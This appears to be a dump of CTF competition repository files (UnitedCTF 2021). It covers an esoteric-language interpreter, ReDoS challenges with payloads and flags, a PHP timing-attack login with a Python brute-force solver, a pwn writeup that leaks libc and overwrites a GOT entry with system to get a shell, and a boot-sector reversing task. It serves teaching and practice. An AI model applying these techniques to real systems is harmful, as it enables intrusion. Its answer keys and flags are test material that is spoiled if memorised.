len(self.__stack) 28 | 29 | def __str__(self) -> str: 30 | return str([bytes([c]) for c in list(reversed(self.__stack))]) 31 | 32 | class Player: 33 | __position: Tuple[int, int] 34 | direction: Direction 35 | __backpack: Backpack 36 | alive: bool 37 | 38 | def __init__(self, position: Tuple[int, int]): 39 | self.__position = position 40 | self.direction = Direction.RIGHT 41 | self.__backpack = Backpack() 42 | self.alive = True 43 | 44 | def step(self) -> bool: 45 | if not self.alive: return False 46 | 47 | if self.direction.value < 2: 48 | self.__position = (self.__position[0] + self.direction.value * 2 - 1, self.__position[1]) 49 | else: 50 | self.__position = (self.__position[0], self.__position[1] + (self.direction.value - 2) * 2 - 1) 51 | 52 | return True 53 | 54 | @property 55 | def position(self) -> Tuple[int, int]: 56 | return self.__position 57 | 58 | @property 59 | def backpack(self) -> Backpack: 60 | return self.__backpack 61 | 62 | def __str__(self) -> str: 63 | return f"Player {self.__position}: {self.__backpack}" 64 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/ctfl.py: -------------------------------------------------------------------------------- 1 | from ctf import Interpreter 2 | 3 | import argparse 4 | import time 5 | 6 | if __name__ == '__main__': 7 | parser = argparse.ArgumentParser(description="CTFLang Interpreter.") 8 | parser.add_argument('file', help="File to interpret.") 9 | parser.add_argument('--verbose', help='Displays interpreter memory.', action='store_true') 10 | parser.add_argument('--delay', help='Delay for verbose mode.', type=float, default=0.1) 11 | args = parser.parse_args() 12 | 13 | with open(args.file, 'rb') as h: 14 | code = b''.join(h.readlines()) 15 | 16 | interpreter = Interpreter(code) 17 | 18 | while interpreter.step(): 19 | if args.verbose: 20 | interpreter.visualize() 21 | time.sleep(args.delay) 22 | 23 | print(interpreter.output.decode('utf8')) 24 | -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/alphabet.ctf: -------------------------------------------------------------------------------- 1 | +--++-----------++--+ 2 | |@ >>A >$. Z=v!!>> #| 3 | +--++ ^+-01!< ++--+ 4 | +-----------+ -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/delay.ctf: -------------------------------------------------------------------------------- 1 | +--------+ 2 | |@ v| 3 | +------+ | 4 | +------+ | 5 | |v 9<0<<| 6 | | + +-+ 7 | | - | 8 | | 0 | 9 | |= 1 | 10 | |> !^ +-------+ 11 | |> !!> #| 12 | +------+-------+ -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/generator.ctf: -------------------------------------------------------------------------------- 1 | +-----------+ 2 | +----++>> A$+B- v ++-----+ 3 | |@ >>^ >v _ >> #| 4 | +----++ ^ < ++-----+ 5 | | ^ < | 6 | +-----------+ -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/hello.ctf: -------------------------------------------------------------------------------- 1 | @ 0 OLLEH 0 > v0? ._=v!# 3 | ^ < WORLD 4 | ^ < ^<^<^<^<^<^<^<^<^<^<^<^<0 5 | @ ^ -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/input.ctf: -------------------------------------------------------------------------------- 1 | +-++-----++-+ 2 | |@>>0>,=v>>#| 3 | +-++ ^ .<++-+ 4 | +-----+ -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/meta.ctf: -------------------------------------------------------------------------------- 1 | @ZA$+D-0>v 2 | A 3 | +$ 4 | -+ 5 | 0B 6 | 1- 7 | > _ 7=vv#< 8 | ^< ! . 9 | > _^ 10 | ^ !< -------------------------------------------------------------------------------- /challenges/programming/esolang/tests/one.ctf: -------------------------------------------------------------------------------- 1 | +--------+ 2 | |@ v| 3 | |v <| 4 | + -------+ 5 | |>@ @v| 6 | +------| | 7 | +-----++v+ 8 | | v 01<<<| 9 | |>_v |+-+ 10 | | 1 |+-------+ 11 | |!= >!>> #| 12 | |^< ! |+-------+ 13 | | > ^ |+-------+ 14 | | >!!>> #| 15 | +-----++-------+ -------------------------------------------------------------------------------- /challenges/programming/esolang/web/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | public/ctfl.js -------------------------------------------------------------------------------- /challenges/programming/esolang/web/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ctfl-server", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "ts-node ./src/index.ts", 8 | "dev": "ts-node-dev ./src/index.ts", 9 | "tsci": "tsc --init" 10 | }, 11 | "author": "", 12 | "license": "MIT", 13 | "dependencies": { 14 | "ejs": "^3.1.6", 15 | "express": "^4.17.1" 16 | }, 17 | "devDependencies": { 18 | "@types/express": "^4.17.13", 19 | "ts-node-dev": "^1.1.8", 20 | "typescript": "^4.3.5" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/partials/base-head.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/partials/bootstrap.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/partials/footer.ejs: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/partials/nav.ejs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/programming/esolang/web/public/favicon.ico -------------------------------------------------------------------------------- /challenges/programming/esolang/web/views/challenge.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | CTFLang | Challenge 4 | <%- include('../partials/base-head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 17 | 18 | 19 | <%- include('../partials/nav.ejs') %> 20 |
21 |

Enter a program to reverse a "0" terminated string from stdin:

22 |
23 | 24 |
25 | 26 |
27 | 28 |
29 | <%- include('../partials/footer.ejs') %> 30 | 31 | -------------------------------------------------------------------------------- /challenges/programming/esolang/web/views/gallery.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | CTFLang | Gallery 4 | <%- include('../partials/base-head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 14 | 15 | 16 | <%- include('../partials/nav.ejs') %> 17 |
18 | <% programs.forEach(function(program) {%> 19 |
20 |
21 |
22 |
23 | 24 |
25 |
26 | <%= program.name %> 27 |

28 |

<%= program.description %>

29 | View 30 |
31 |
32 |
33 |
34 |
35 | <% }); %> 36 | <%- include('../partials/footer.ejs') %> 37 | 38 | -------------------------------------------------------------------------------- /challenges/programming/esolang/writeups/1/README.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | The challenge prompt is a CTFLang script. You can copy the code in the interpreter and get the flag. 4 | -------------------------------------------------------------------------------- /challenges/programming/esolang/writeups/2/README.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | The challenge is pretty long and can be very overwhelming at first. You may notice what looks like blocks, this was made intentionally to give a more "modular" design. You'll want to tackle the challenge block-by-block to solve fully. 4 | 5 | ## Header Module 6 | 7 | The first block is both an `@` generator and `TF` valdiator. The `@` are fed into the following blocks, and the output is fed back up to the validator. If you get a `F` output, you'll see that the `T` is removed from the drop in the validator. 8 | 9 | ## Validator Modules 10 | 11 | All subsequent blocks are small challenges. They take one `@` and pass it through the validating body. You can simplify the task by taking out the block and debugging the specific block. Some blocks trick you by using data from elsewhere. There is no special trick, keep track of the stacks and check the outputs. 12 | -------------------------------------------------------------------------------- /challenges/programming/esolang/writeups/3/README.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Given this is a programming challenge, there are various correct answers. The following is one of the simplest. 4 | 5 | ``` 6 | @0>,0=v!!>0=v# 7 | ^ !< ^.!< 8 | ``` 9 | 10 | It was based off of the `Input` example. Instead of printing right away, we can use the fact that push/popping from a stack will reverse the string (the second loop). 11 | -------------------------------------------------------------------------------- /challenges/programming/redos/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tjoloi/alpine-with-regex-python 2 | 3 | RUN mkdir app/ 4 | 5 | WORKDIR app/ 6 | COPY src/ . -------------------------------------------------------------------------------- /challenges/programming/redos/README.md: -------------------------------------------------------------------------------- 1 | # Redos Track 2 | > Author: @tjoloi 3 | 4 | ## Challenges 5 | - [1. Introduction to Redos](chall1.md) 6 | - [2. Email Validation](chall2.md) 7 | - [3. Coding Interviwe](chall3.md) 8 | - [4. The real challenge](chall4.md) 9 | 10 | ## Ressources 11 | - [Python regex doc](https://docs.python.org/3/library/re.html) 12 | - [OWASP article on redos](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) 13 | - [Wikipedia page on redos](https://en.wikipedia.org/wiki/ReDoS) 14 | 15 | ## Setup 16 | 17 | ### Requirements 18 | - docker 19 | - docker-compose 20 | 21 | ### How to run 22 | - Execute the command `docker-compose up` 23 | -------------------------------------------------------------------------------- /challenges/programming/redos/chall1.md: -------------------------------------------------------------------------------- 1 | # 1. Introduction to Redos 2 | 3 | Hi and congratz on getting the job. Even though we like you and your skillset, we must make sure that you're able to learn enough for this.\ 4 | It's going to be pretty easy, we give you 3 trials of increasing difficulty then the real deal. 5 | 6 | You job is to craft a Redos attack, don't worry we reproduced the environment localy so you don't have any risk of getting caught while crafting your payload.\ 7 | The first trial is extremely basic but I still suggest you read a bit on the subject before going in. 8 | 9 | You can enter a maximum of 8 characters and need to achieve 2000 steps. Every trial also comes with the file used to validate the regex. Good luck! 10 | 11 | - **Max chars:** *8* 12 | - **Threshold:** *2000 iterations* 13 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge1.py) 14 | 15 | ## WriteUp 16 | 17 | To abuse a redos, we need to find a double group repetition. The next step is to make that "double group" as long as we can, every char about doubles the number of steps.\ 18 | Then we need to make sure that the regex doesn't shortcircuit, which happens when the engine already knows that it either matches or doesn't. 19 | 20 | For this one challenge the formula looks a bit like this: 21 | - 16 base iterations (whatever the word is) 22 | - multiplied by 2^n, where n is the number of chars matched by \w before the first one that doesn't match. 23 | - substract 3 steps for whatever reason 24 | 25 | So we can easily see that ever character counts when exploting a redos. For example if we had 16 chars instead of 8, the max would be 524 285 instead of 2045.\ 26 | The solution is simply to put 7 alphanumerical chars then anything else. 27 | 28 | ## Solution 29 | `Hi_nerd!` 30 | 31 | ## Flag 32 | `FLAG-BabysFirstRedos` 33 | -------------------------------------------------------------------------------- /challenges/programming/redos/chall2.md: -------------------------------------------------------------------------------- 1 | # 2. Email Validation 2 | 3 | Now that you understand the basics of a redos, let's start you on your next trial. 4 | 5 | One of us used to work in a company that wanted to cook their own email validation regex. Being as concerned about the quality of their code as they were, they gave the task to a first year intern.\ 6 | It may not be the safest regex but damn, first time I see good documentation on one. 7 | 8 | *Tip: If you need help decoding a regex, websites such as [regexr](www.regexr.com) do a great job at explaining what each part does.* 9 | 10 | - **Max chars:** *32* 11 | - **Threshold:** *40k iterations* 12 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge2.py) 13 | 14 | ## WriteUp 15 | 16 | The catch is that, in the **higherLevelDomains** group, the dot isn't escaped, which means that it ends up being a `(.\w+)+` which you can abuse by putting as much alphanumeric chars as you want. 17 | If you put anything else than an alphanumeric char, it significantly reduces the number of iterations since it can only be matched by the dot instead of having thousands of possibilities like we want with a redos. 18 | The last exclamation mark is there to make sure it doesn't shortcircuits a match. Since it's not followed by an alphanumerical character it will be matched by the dot but not the \w (which is needed because of the +). 19 | 20 | Bonus:\ 21 | The "followingWord" group is there to show how to escape the dot in a regex. 22 | 23 | ## Solution 24 | `united.ctf@xXHaxorzPwnz1337Xx!` 25 | 26 | ## Flag 27 | `FLAG-EmailAddressesAreHard` 28 | -------------------------------------------------------------------------------- /challenges/programming/redos/chall3.md: -------------------------------------------------------------------------------- 1 | # 3. Coding Interview 2 | 3 | We're impressed so far. Time to prove your worth one last time. 4 | 5 | A while back we managed to get our hands on a "language detector" and had a good laugh at their algorithm.\ 6 | Anyway, we extracted the c++ one and sent it to you. Good luck! 7 | 8 | - **Max chars:** *32* 9 | - **Threshold:** *64k iterations* 10 | - [Regex File](https://github.com/UnitedCTF/UnitedCTF-2021/new/redos-oli/challenges/programming/redos/src/challenge3.py) 11 | 12 | ## WriteUp 13 | 14 | The redos is a bit harder to find on this one, it's `(?(lib)[A-z =]*|[0-9])+`.\ 15 | To abuse it, the group named **lib** must exist and then it's easy as spamming letters, spaces and equals then ending the string with something that won't match (in my case, a number)\ 16 | The **import_statement** has absolutely no use at all.\ 17 | The **lib** must be an *m* followed by any lowercase letter followed by *lloc*. One could technically write `mzlloc`. 18 | 19 | ## Solution 20 | `#import malloc; int flag = 1337` 21 | 22 | ## Flag 23 | `FLAG-AlwaysPepperSomeMallocHereAndThere` 24 | -------------------------------------------------------------------------------- /challenges/programming/redos/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | app: 5 | build: 6 | context: "." 7 | ports: 8 | - "31337:31337" 9 | tty: true 10 | command: python3 ./launch_server.py -------------------------------------------------------------------------------- /challenges/programming/redos/src/challenge1.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | msg = input() 4 | r = r'^(\w*)+$' 5 | re.match(r, msg) -------------------------------------------------------------------------------- /challenges/programming/redos/src/challenge2.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | regex = r'^(?P\w+)(?P\.\w+)*(?P\+\w+)?@(?P\w+)(?P.\w+)+$' 4 | 5 | # firstWord: Match un premier "mot" [A-z0-9] 6 | # followingWords: Comme beaucoup de monde mettent plusieurs mots séparés par un ., on tente d'en matcher plusieurs. 7 | # extention: Dans notre dataset, j'ai vu des addresse qui ressemblaient à ça: addresse+unMot@exemple.com aucune idée de ce que ça fait, mais faut le supporter. 8 | # subdomain: On doit avoir un domaine initial 9 | # higherLevelDomains: Et avoir au moins 1 domaine de plus haut niveau (séparé par un . à chaque fois) 10 | 11 | msg = input() 12 | re.match(regex, msg) -------------------------------------------------------------------------------- /challenges/programming/redos/src/challenge3.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | msg = input() 4 | r = r'^(?P#import)((?P m[a-z]l{2,10}((?<=l{2})oc))|.);(?(lib)[A-z =]*|[0-9])+$' 5 | re.match(r, msg) -------------------------------------------------------------------------------- /challenges/programming/redos/src/challenge4.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | msg = input() 4 | a = sum(map(ord, msg)) % 35 5 | b = len(msg.split('_')[0]) 6 | c = len(msg) 7 | 8 | reg_str = f'^((?P\\S)|(?P(? )|(?P\\s)){{{c % 16}}}(?(a{c})(?(a{b})(?P=a{a})+|(?(a14)\\w+|(?P=a23)))|_)+$' 9 | regex = re.compile(reg_str) 10 | regex.match(msg) -------------------------------------------------------------------------------- /challenges/programming/redos/src/exceptions.py: -------------------------------------------------------------------------------- 1 | class InvalidInputError(Exception): 2 | pass -------------------------------------------------------------------------------- /challenges/programming/redos/src/launch_server.py: -------------------------------------------------------------------------------- 1 | from handler import Handler 2 | import socketserver 3 | import json 4 | import exceptions 5 | import os 6 | 7 | from datetime import datetime 8 | 9 | def json_serial(obj): 10 | """JSON serializer for objects not serializable by default json code""" 11 | if isinstance(obj, datetime): 12 | return obj.isoformat() 13 | raise TypeError(f'Type {type(obj)} not serializable') 14 | 15 | # Implement your custom code here 16 | class CustomTCPServer(socketserver.ThreadingTCPServer): 17 | def __init__(self, *args, **kwargs): 18 | super().__init__(*args, **kwargs) 19 | 20 | def handle_error(self, request, address): 21 | pass 22 | 23 | port = 31337 24 | print(f'Starting server on internal port: {port}') 25 | address = ('0.0.0.0', port) 26 | s = CustomTCPServer(address, Handler) 27 | s.serve_forever() -------------------------------------------------------------------------------- /challenges/programming/redos/src/secrets.py: -------------------------------------------------------------------------------- 1 | flags = { 2 | 'challenge1.py': 'FLAG-BabysFirstRedos', 3 | 'challenge2.py': 'FLAG-EmailAddressesAreHard', 4 | 'challenge3.py': 'FLAG-AlwaysPepperSomeMallocHereAndThere', 5 | 'challenge4.py': 'FLAG-ForgiveMeFatherForIHaveSinned' 6 | } 7 | 8 | chall1 = 'Hi_nerd!' 9 | chall2 = 'united.ctf@xXHaxorzPwnz1337Xx!' 10 | chall3 = '#import malloc; int flag = 1337' 11 | chall4 = 'f \tffffffffffffffffffff_DaddyIssues' -------------------------------------------------------------------------------- /challenges/programming/timingattack/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/programming/timingattack/README.md: -------------------------------------------------------------------------------- 1 | # Timing attack 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Jean-François, un consultant en cybersécurité, a créé un nouvel algorithme de hashage et de comparaison qui permet de vérifier des mots de passe. Il semble que lorsqu'on lui soumet un bon mot de passe, l'algorithme est très rapide. Cependant, il est lent lorsque le mot de passe est mauvais. 8 | 9 | Pouvez-vous prouver à Jean-François que son algorithme a un défaut de sécurité grave? (connectez-vous comme "admin") 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - Savoir programmer (ex: Python) 15 | 16 | # Writeup 17 | 18 | Voir `writeup.py`. Le flag est `FLAG-dXMbMHuEn47ZqwHEdtPYR3BDEBshBnEAcDqtpDY8`. 19 | -------------------------------------------------------------------------------- /challenges/programming/timingattack/src/user.php: -------------------------------------------------------------------------------- 1 | pDY8"; 5 | $passlen = strlen($password); // 44 6 | 7 | if (isset($_GET['logout'])) { 8 | $_SESSION["page"] = "default"; 9 | $_SESSION["failed"] = false; 10 | } 11 | 12 | if (isset($_POST['u']) && !empty($_POST['u'])) { 13 | if (isset($_POST['p']) && !empty($_POST['p'])) { 14 | if ($_POST['u'] === "admin") { 15 | $userpass = $_POST['p']; 16 | $len = strlen($userpass); 17 | $len = ($len < $passlen ? $len : $passlen); 18 | $failed = false; 19 | for ($i = 0; $i < $len; $i++) { 20 | // artificial delay when a character is wrong 21 | if ($password[$i] != $userpass[$i]) { 22 | $failed = true; 23 | usleep(150000); // 150 ms 24 | break; 25 | } 26 | } 27 | 28 | if (strlen($userpass) != $passlen) { 29 | $failed = true; 30 | } 31 | 32 | if ($failed) { 33 | $_SESSION["page"] = "default"; 34 | $_SESSION["failed"] = true; 35 | } else { 36 | $_SESSION["failed"] = false; 37 | $_SESSION["page"] = "loggedin"; 38 | } 39 | 40 | } else { 41 | $_SESSION["failed"] = true; 42 | } 43 | } 44 | } 45 | 46 | header('Location: index.php'); 47 | ?> 48 | -------------------------------------------------------------------------------- /challenges/programming/timingattack/writeup.py: -------------------------------------------------------------------------------- 1 | # Test script for "Timing attack" challenge 2 | import requests 3 | import time 4 | 5 | URL = 'http://localhost:8081/user.php' 6 | CHARS = "aAbBcdDEHhMnPpqRstuwXYZ>()+3478;" 7 | 8 | known = "" 9 | 10 | s = requests.Session() 11 | 12 | i = 0 13 | d = {} 14 | while True: 15 | start = time.time(); 16 | r = s.post(URL, data = {'u': 'admin', 'p': known + CHARS[i]}) 17 | end = time.time(); 18 | 19 | if "Login failed. Try again." not in r.text: 20 | # The flag will be in the body 21 | print(r.text) # FLAG-dXMbMHuEn47ZqwHEdtPYR3BDEBshBnEAcDqtpDY8 22 | break 23 | 24 | # It's clear from the time delta that guessing the wrong 25 | # character will cause a 150 ms delay, so we could stop 26 | # as soon we get a delta smaller than 150 ms ... but we 27 | # don't do this here. 28 | print(end - start) 29 | d[CHARS[i]] = end - start 30 | 31 | i += 1 32 | if i >= len(CHARS): 33 | i = 0 34 | print(min(d, key=d.get)) 35 | known += min(d, key=d.get) 36 | d = {} 37 | 38 | -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | # Install requirements 4 | RUN dpkg --add-architecture i386 && apt-get update -y && apt-get upgrade -y && apt install -y xinetd libc6:i386 5 | 6 | # Add user 7 | RUN useradd simple_notes -m 8 | 9 | # Copy config 10 | COPY simple_notes.conf /root/simple_notes.conf 11 | 12 | # Copy binary 13 | COPY simple_notes /home/simple_notes/simple_notes 14 | 15 | # Copy flag 16 | COPY flag.txt /home/simple_notes/flag.txt 17 | 18 | # Set permissions 19 | RUN chown -R root:simple_notes /home/simple_notes 20 | RUN chmod -R 750 /home/simple_notes 21 | RUN chmod 440 /home/simple_notes/flag.txt 22 | 23 | # Start daemon 24 | EXPOSE 9999 25 | CMD ["/usr/sbin/xinetd", "-dontfork", "-f", "/root/simple_notes.conf"] -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -m32 -no-pie -fno-stack-protector -o simple_notes simple_notes.c 3 | -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/README.md: -------------------------------------------------------------------------------- 1 | # Simple notes 2 | 3 | Tags: `pwn` 4 | 5 | Level: Medium 6 | 7 | ## Description 8 | I needed a way to take quick notes on the command line. I might have missed something... 9 | 10 | Executable: `simple_notes` 11 | 12 | Source code: `simple_notes.c` 13 | 14 | Libc: `libc.so.6` 15 | 16 | `nc [SERVER ADDRESS] [CHALLENGE PORT]` 17 | 18 | ## Solution 19 | The index check in the `create_note` function is slightly wrong, allowing 257 notes instead of 256. The additional note overwrites the index in the array of notes. 20 | We can control the index by setting the note importance. By setting the index to a low negative value, we can abuse a signed/unsigned type confusion and read arbitrary data with the `read_note` function. We use it to leak the `libc` base address using a populated GOT entry. We can then overwrite another GOT entry with a `one_gadget` or a pointer to `system`. There are a few restrictions however. One way to solve this is to overwrite the `atoi` GOT entry with `system` using the `edit_note` function. When asked for the note size, enter `/bin/sh` and enjoy a shell. 21 | 22 | ## How to run 23 | Build the executable. 24 | ~~~ 25 | make 26 | ~~~ 27 | Build the docker container. 28 | ~~~ 29 | docker build -t simple_notes . 30 | ~~~ 31 | Fetch `libc`. 32 | ~~~ 33 | docker run --rm -v $(pwd):/vol simple_notes /bin/bash -c 'cp $(ldd /home/simple_notes/simple_notes | grep libc | cut -d " " -f 3) /vol/' 34 | ~~~ 35 | Run the container. 36 | ~~~ 37 | docker run --rm -p 9999:9999 simple_notes 38 | ~~~ 39 | 40 | ## How to change the flag 41 | 1. Modify flag.txt 42 | 2. Rebuild the docker image. 43 | 44 | ## Author: 45 | Colin Stephenne (Niftic) 46 | 47 | -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG-b21f3c6ea1d1edd90800f802e73d839f 2 | -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/simple_notes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/pwn/simple_notes/simple_notes -------------------------------------------------------------------------------- /challenges/pwn/simple_notes/simple_notes.conf: -------------------------------------------------------------------------------- 1 | service simple_notes 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = simple_notes 8 | bind = 0.0.0.0 9 | server = /home/simple_notes/simple_notes 10 | type = UNLISTED 11 | port = 9999 12 | } 13 | -------------------------------------------------------------------------------- /challenges/reverse/bootme/.gitignore: -------------------------------------------------------------------------------- 1 | /*.bin -------------------------------------------------------------------------------- /challenges/reverse/bootme/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | nasm -f bin boot.asm -o boot.bin 3 | 4 | boot: 5 | qemu-system-x86_64 \ 6 | -drive file=boot.bin,format=raw,if=floppy 7 | 8 | debug: 9 | qemu-system-x86_64 -S -s \ 10 | -drive file=boot.bin,format=raw & 11 | gdb -nh \ 12 | -ex "target remote localhost:1234" \ 13 | -ex "set architecture i8086" \ 14 | -ex "break *0x7c00" 15 | 16 | clean: 17 | rm boot.bin -------------------------------------------------------------------------------- /challenges/reverse/bootme/README.md: -------------------------------------------------------------------------------- 1 | # Reverse Boot sector 16/32 bits 2 | > Reverse 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | Can you run this? 7 | 8 | ## Resources 9 | - https://linux.die.net/man/1/qemu-kvm 10 | - https://github.com/cfenollosa/os-tutorial 11 | 12 | ## Setup 13 | 14 | ### Requirements 15 | - nasm 16 | - qemu 17 | 18 | ### How to run 19 | - Test : `make && make boot` 20 | - Debug : `make && make debug` 21 | -------------------------------------------------------------------------------- /challenges/reverse/bootme/boot.asm: -------------------------------------------------------------------------------- 1 | [org 0x7c00] 2 | [bits 16] 3 | 4 | xor ax, ax 5 | mov ds, ax 6 | mov es, ax 7 | mov bx, 0x8000 ; stack base 8 | 9 | cli 10 | mov ss, bx 11 | mov sp, ax 12 | sti 13 | 14 | cld 15 | 16 | xor ah, ah 17 | mov al, 0x03 18 | int 0x10 19 | xor al, al 20 | 21 | jmp 0x0000:main 22 | 23 | print: 24 | pusha 25 | mov si, ax 26 | 27 | _print_loop: 28 | lodsb 29 | cmp al, 0 30 | je _print_done 31 | mov ah, 0x0e 32 | ror al, 4 33 | xor al, 0x40 34 | int 0x10 35 | inc si 36 | jmp _print_loop 37 | 38 | _print_done: 39 | popa 40 | ret 41 | 42 | main: 43 | mov ax, FLAG 44 | call print 45 | 46 | halt: 47 | cli 48 | hlt 49 | jmp halt 50 | 51 | FLAG: 52 | db 0x60, 0xeb, 0xc0, 0x1b, 0x10, 0xcd, 0x70, 0x10, 0xd6, 0x7c 53 | db 0x71, 0x0c, 0x50, 0x31, 0xc0, 0x34, 0x30, 0xe4, 0xf0, 0x04 54 | db 0xd0, 0xb4, 0x50, 0x00, 0xf1, 0x40, 0x41, 0x3c, 0xf0, 0xc8 55 | db 0xf1, 0x7c, 0x17, 0xbb, 0x67, 0xc6, 0x20, 0xac, 0x90, 0x60 56 | db 0x41, 0x3d, 0x31, 0x00, 0x00 57 | 58 | times 510-($-$$) db 0x0 59 | dw 0xAA55 60 | -------------------------------------------------------------------------------- /challenges/reverse/character_customization/.gitignore: -------------------------------------------------------------------------------- 1 | build/ -------------------------------------------------------------------------------- /challenges/reverse/character_customization/attachments/Pasted image 20210909140915.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909140915.png -------------------------------------------------------------------------------- /challenges/reverse/character_customization/attachments/Pasted image 20210909200733.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909200733.png -------------------------------------------------------------------------------- /challenges/reverse/character_customization/attachments/Pasted image 20210909201022.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/attachments/Pasted image 20210909201022.png -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/.dockerignore: -------------------------------------------------------------------------------- 1 | Dockerfile 2 | docker-compose.yml 3 | -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM python:3.8-slim-buster 4 | 5 | WORKDIR /usr/src/app 6 | 7 | COPY . . 8 | 9 | EXPOSE 9003 10 | 11 | CMD ["python3", "server.py"] -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/character_customization: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/private/character_customization -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.3" 2 | services: 3 | server: 4 | build: . 5 | environment: 6 | - SERVER_PORT=9003 7 | - URL=0.0.0.0 8 | - PROGRAM_NAME=character_customization 9 | ports: 10 | - 9003:9003 11 | -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG-REVERSING_IS_FUN_19as8933 -------------------------------------------------------------------------------- /challenges/reverse/character_customization/private/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | import subprocess 4 | 5 | listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 6 | listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True) 7 | listener.bind((os.environ.get("URL"), int(os.environ.get("SERVER_PORT")))) 8 | listener.listen(5) 9 | print(listener.getsockname()) 10 | 11 | try: 12 | while True: 13 | client, addr = listener.accept() 14 | subprocess.Popen(['./' + os.environ.get("PROGRAM_NAME")], stdin=client, stdout=client, stderr=client) 15 | client.close() 16 | except KeyboardInterrupt: 17 | pass 18 | finally: 19 | listener.close() -------------------------------------------------------------------------------- /challenges/reverse/character_customization/public/character_customization: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/public/character_customization -------------------------------------------------------------------------------- /challenges/reverse/character_customization/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.14) 2 | project(character_customization) 3 | include(CheckPIESupported) 4 | check_pie_supported() 5 | 6 | set(CMAKE_CXX_STANDARD 14) 7 | 8 | add_executable(character_customization main.cpp Menu.cpp Menu.h) 9 | set_property(TARGET character_customization PROPERTY POSITION_INDEPENDENT_CODE FALSE) 10 | -------------------------------------------------------------------------------- /challenges/reverse/character_customization/src/Menu.cpp: 